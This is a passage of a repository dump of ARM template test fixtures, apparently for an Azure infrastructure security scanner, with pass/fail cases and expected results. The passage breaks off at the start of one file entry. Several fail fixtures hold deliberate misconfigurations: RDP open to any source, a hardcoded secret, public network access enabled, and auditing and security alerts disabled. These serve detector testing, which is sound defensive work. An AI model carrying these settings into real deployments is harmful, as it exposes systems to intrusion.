    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Network/virtualNetworks\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"VNet1\",\n        \"location\": \"westus\",\n        \"properties\": {\n          \"addressSpace\": {\n            \"addressPrefixes\": [\"10.0.0.0/16\"]\n          },\n          \"subnets\": [\n            {\n              \"name\": \"Subnet1\",\n              \"properties\": {\n                \"addressPrefix\": \"10.0.1.0/24\"\n              }\n            }\n          ]\n        }\n      },\n      {\n        \"type\": \"Microsoft.Network/virtualNetworks/subnets\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"Subnet1\",\n        \"dependsOn\": [\n          \"Microsoft.Network/virtualNetworks/VNet1\"\n        ],\n        \"properties\": {\n          \"addressPrefix\": \"10.0.1.0/24\"\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/examples/ImplicitDepsResources/interface.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Network/publicIPAddresses\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"PublicIP1\",\n        \"location\": \"westus\",\n        \"properties\": {\n          \"publicIPAllocationMethod\": \"Dynamic\"\n        }\n      },\n      {\n        \"type\": \"Microsoft.Network/networkInterfaces\",\n        \"apiVersion\": \"2020-06-01\",\n        \"name\": \"NIC1\",\n        \"location\": \"westus\",\n        \"properties\": {\n          \"ipConfigurations\": [\n            {\n              \"name\": \"ipconfig1\",\n              \"properties\": {\n                \"subnet\": {\n                  \"id\": \"[reference(resourceId('Microsoft.Network/virtualNetworks', 'myVNet')).subnets[0].id]\"\n                },\n                \"privateIPAllocationMethod\": \"Dynamic\",\n                \"publicIPAddress\": {\n                  \"id\": \"[reference(resourceId('Microsoft.Network/publicIPAddresses', 'PublicIP1')).id]\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    ]\n  }"
  },
  {
    "path": "tests/arm/examples/ImplicitDepsResources/storage.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"myKeyVault\",\n      \"location\": \"westus\",\n      \"properties\": {\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"tenantId\": \"tenantId\",\n        \"accessPolicies\": []\n      },\n      \"resources\": [\n        {\n          \"type\": \"secrets\",\n          \"name\": \"MySecret\",\n          \"apiVersion\": \"2019-09-01\",\n          \"properties\": {\n            \"value\": \"1234\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2019-07-01\",\n      \"name\": \"myVM\",\n      \"location\": \"westus\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"Standard_DS1_v2\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"myVM\",\n          \"adminUsername\": \"adminuser\",\n          \"customData\": \"[reference('Microsoft.KeyVault/vaults/myKeyVault', '2019-09-01').secrets['MySecret'].value]\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', 'myNIC')]\"\n            }\n          ]\n        },\n        \"storageProfile\": {\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Premium_LRS\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/examples/ImplicitDepsResources/subnet.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"myNSG\",\n      \"location\": \"westus\"\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"myVNet\",\n      \"location\": \"westus\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\"10.0.0.0/16\"]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"mySubnet\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[reference('myNSG', '2020-06-01').id]\"\n              }\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/examples/container_instance.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"9027093124117826122\"\n    }\n  },\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aci-vnet\",\n      \"metadata\": {\n        \"description\": \"VNet name\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix\"\n      }\n    },\n    \"subnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/24\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aci-subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet name\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"containerGroupName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aci-containergroup\",\n      \"metadata\": {\n        \"description\": \"Container group name\"\n      }\n    },\n    \"containerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aci-container\",\n      \"metadata\": {\n        \"description\": \"Container name\"\n      }\n    },\n    \"image\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"mcr.microsoft.com/azuredocs/aci-helloworld\",\n      \"metadata\": {\n        \"description\": \"Container image to deploy. Should be of the form accountName/imagename:tag for images stored in Docker Hub or a fully qualified URI for a private registry like the Azure Container Registry.\"\n      }\n    },\n    \"port\": {\n      \"type\": \"int\",\n      \"defaultValue\": 80,\n      \"metadata\": {\n        \"description\": \"Port to open on the container.\"\n      }\n    },\n    \"cpuCores\": {\n      \"type\": \"int\",\n      \"defaultValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of CPU cores to allocate to the container. Must be an integer.\"\n      }\n    },\n    \"memoryInGb\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"The amount of memory to allocate to the container in gigabytes.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"networkProfileName\": \"aci-networkProfile\",\n    \"interfaceConfigName\": \"eth0\",\n    \"interfaceIpConfig\": \"ipconfigprofile1\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"[format('{0}/{1}', parameters('vnetName'), parameters('subnetName'))]\",\n      \"properties\": {\n        \"addressPrefix\": \"[parameters('subnetAddressPrefix')]\",\n        \"delegations\": [\n          {\n            \"name\": \"DelegationService\",\n            \"properties\": {\n              \"serviceName\": \"Microsoft.ContainerInstance/containerGroups\"\n            }\n          }\n        ]\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('vnetName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/networkProfiles\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"[variables('networkProfileName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"containerNetworkInterfaceConfigurations\": [\n          {\n            \"name\": \"[variables('interfaceConfigName')]\",\n            \"properties\": {\n              \"ipConfigurations\": [\n                {\n                  \"name\": \"[variables('interfaceIpConfig')]\",\n                  \"properties\": {\n                    \"subnet\": {\n                      \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnetName'))]\"\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        ]\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnetName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.ContainerInstance/containerGroups\",\n      \"apiVersion\": \"2019-12-01\",\n      \"name\": \"[parameters('containerGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"containers\": [\n          {\n            \"name\": \"[parameters('containerName')]\",\n            \"properties\": {\n              \"image\": \"[parameters('image')]\",\n              \"ports\": [\n                {\n                  \"port\": \"[parameters('port')]\",\n                  \"protocol\": \"TCP\"\n                }\n              ],\n              \"resources\": {\n                \"requests\": {\n                  \"cpu\": \"[parameters('cpuCores')]\",\n                  \"memoryInGB\": \"[parameters('memoryInGb')]\"\n                }\n              }\n            }\n          }\n        ],\n        \"osType\": \"Linux\",\n        \"networkProfile\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]\"\n        },\n        \"restartPolicy\": \"Always\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"containerIPv4Address\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerInstance/containerGroups', containerGroupName)).ipAddress.ip]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/examples/convert_def_test.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"virtualMachineSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS1_v2\",\n      \"metadata\": {\n        \"description\": \"Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Default Admin username\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"secureString\",\n      \"metadata\": {\n        \"description\": \"Default Admin password\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type for the VM and VM diagnostic storage\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachineName\": \"VM-MultiNic\",\n    \"nic1Name\": \"nic-1\",\n    \"nic2Name\": \"nic-2\",\n    \"virtualNetworkName\": \"virtualNetwork\",\n    \"subnet1Name\": \"subnet-1\",\n    \"subnet2Name\": \"subnet-2\",\n    \"publicIPAddressName\": \"publicIp\",\n    \"diagStorageAccountName\": \"[concat('diags', uniqueString(resourceGroup().id))]\",\n    \"networkSecurityGroupName\": \"NSG\",\n    \"networkSecurityGroupName2\": \"[concat(variables('subnet2Name'), '-nsg')]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('virtualMachineName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[variables('virtualMachineName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\",\n          \"windowsConfiguration\": {\n            \"provisionVMAgent\": true\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('virtualMachineSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2019-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"properties\": {\n                \"primary\": true\n              },\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic1Name'))]\"\n            },\n            {\n              \"properties\": {\n                \"primary\": false\n              },\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic2Name'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', variables('diagStorageAccountName'))).primaryEndpoints.blob]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-06-01\",\n      \"name\": \"[variables('diagStorageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\"\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('networkSecurityGroupName2')]\",\n      \"location\": \"[parameters('location')]\"\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\"10.0.0.0/16\"]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnet1Name')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.0.0/24\"\n            }\n          },\n          {\n            \"name\": \"[variables('subnet2Name')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName2'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('nic1Name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnet1Name'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('nic2Name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnet2Name'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-rdp\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"sourceAddressPrefix\": \"*\",\n              \"protocol\": \"Tcp\",\n              \"destinationPortRange\": \"3389\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/graph_builder/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureMLWorkspacePublicNetwork/expected.yaml",
    "content": "pass:\n  - \"Microsoft.MachineLearningServices/workspaces.pass\"\n  - \"Microsoft.MachineLearningServices/workspaces.pass2\"\nfail:\n  - \"Microsoft.MachineLearningServices/workspaces.fail\"\nevaluated_keys:\n  - 'properties/publicNetworkAccess'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureMLWorkspacePublicNetwork/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n      \"apiVersion\": \"2022-12-01\",\n      \"name\": \"fail\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureMLWorkspacePublicNetwork/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n      \"apiVersion\": \"2022-12-01\",\n      \"name\": \"pass\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureMLWorkspacePublicNetwork/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.MachineLearningServices/workspaces\",\n      \"apiVersion\": \"2022-12-01\",\n      \"name\": \"pass2\",\n      \"location\": \"West US\",\n      \"properties\": {}\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureSpringCloudConfigWithVnet/expected.yaml",
    "content": "pass:\n  - 'Microsoft.AppPlatform/Spring.pass'\nfail:\n  - 'Microsoft.AppPlatform/Spring.fail'\nevaluated_keys:\n  - 'sku/name'\n  - 'properties/networkProfile/serviceRuntimeSubnetId'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureSpringCloudConfigWithVnet/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.AppPlatform/Spring\",\n      \"apiVersion\": \"2022-12-01\",\n      \"name\": \"fail\",\n      \"location\": \"westeurope\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {\n        \"zoneRedundant\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/AzureSpringCloudConfigWithVnet/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.AppPlatform/Spring\",\n      \"apiVersion\": \"2020-07-01\",\n      \"name\": \"pass\",\n      \"location\": \"westeurope\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {\n        \"networkProfile\": {\n          \"serviceRuntimeSubnetId\": \"12345\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseLogMonitoringEnabledForSQLPool/expected.yaml",
    "content": "pass:\n  - \"Microsoft.Synapse/workspaces/sqlPools.pass\"\nfail:\n  - \"Microsoft.Synapse/workspaces/sqlPools.fail\"\nevaluated_keys:\n  - 'properties/state'\n  - 'resource_type'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseLogMonitoringEnabledForSQLPool/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"maxSizeBytes\": \"2147483648\",\n        \"sku\": {\n          \"name\": \"DW100c\",\n          \"tier\": \"DataWarehouse\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools/auditingSettings\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[concat(parameters('workspaceName'), '/', parameters('sqlPoolName'), '/default')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', parameters('sqlPoolName'), parameters('sqlPoolName'))]\"\n      ],\n      \"properties\": {\n        \"state\": \"Disable\",\n        \"auditActionsAndGroups\": [\n          \"SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP\",\n          \"FAILED_DATABASE_AUTHENTICATION_GROUP\",\n          \"BATCH_COMPLETED_GROUP\"\n        ],\n        \"isAzureMonitorTargetEnabled\": false,\n        \"retentionDays\": 90,\n        \"storageAccountSubscriptionId\": \"[parameters('storageAccountSubscriptionId')]\",\n        \"storageAccountResourceGroupName\": \"[parameters('storageAccountResourceGroupName')]\",\n        \"storageAccountName\": \"[parameters('storageAccountName')]\",\n        \"isStorageSecondaryKeyInUse\": false\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Synapse workspace.\"\n      }\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"fail\",\n      \"metadata\": {\n        \"description\": \"The name of the SQL pool.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The location of the Synapse workspace.\"\n      }\n    },\n    \"storageAccountSubscriptionId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The subscription ID of the storage account for auditing logs.\"\n      }\n    },\n    \"storageAccountResourceGroupName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The resource group name of the storage account for auditing logs.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the storage account for auditing logs.\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseLogMonitoringEnabledForSQLPool/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"maxSizeBytes\": \"2147483648\",\n        \"sku\": {\n          \"name\": \"DW100c\",\n          \"tier\": \"DataWarehouse\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools/auditingSettings\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[concat(parameters('workspaceName'), '/', parameters('sqlPoolName'), '/default')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', pass, parameters('sqlPoolName'))]\"\n      ],\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"auditActionsAndGroups\": [\n          \"SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP\",\n          \"FAILED_DATABASE_AUTHENTICATION_GROUP\",\n          \"BATCH_COMPLETED_GROUP\"\n        ],\n        \"isAzureMonitorTargetEnabled\": true,\n        \"retentionDays\": 90,\n        \"storageAccountSubscriptionId\": \"[parameters('storageAccountSubscriptionId')]\",\n        \"storageAccountResourceGroupName\": \"[parameters('storageAccountResourceGroupName')]\",\n        \"storageAccountName\": \"[parameters('storageAccountName')]\",\n        \"isStorageSecondaryKeyInUse\": false\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Synapse workspace.\"\n      }\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the SQL pool.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The location of the Synapse workspace.\"\n      }\n    },\n    \"storageAccountSubscriptionId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The subscription ID of the storage account for auditing logs.\"\n      }\n    },\n    \"storageAccountResourceGroupName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The resource group name of the storage account for auditing logs.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the storage account for auditing logs.\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/expected.yaml",
    "content": "pass:\n  - \"Microsoft.Synapse/workspaces/sqlPools.pass\"\nfail:\n  - \"Microsoft.Synapse/workspaces/sqlPools.fail1\"\n  - \"Microsoft.Synapse/workspaces/sqlPools.fail2\"\nevaluated_keys:\n  - 'properties/state'\n  - 'resource_type'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"[parameters('skuTier')]\",\n          \"capacity\": \"[parameters('skuCapacity')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[concat(parameters('sqlServerName'), '/', 'Default')]\",\n      \"properties\": {\n        \"state\": \"Disabled\",\n        \"emailAccountAdmins\": true,\n        \"emailAddresses\": [],\n        \"disabledAlerts\": [],\n        \"retentionDays\": 0\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', parameters('workspaceName'), parameters('sqlPoolName'))]\"\n      ]\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"defaultValue\": \"fail1\",\n      \"type\": \"string\"\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\"\n    },\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"skuName\": {\n      \"type\": \"string\"\n    },\n    \"skuTier\": {\n      \"type\": \"string\"\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\"\n    },\n    \"sqlServerName\": {\n      \"type\": \"string\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/fail2.json",
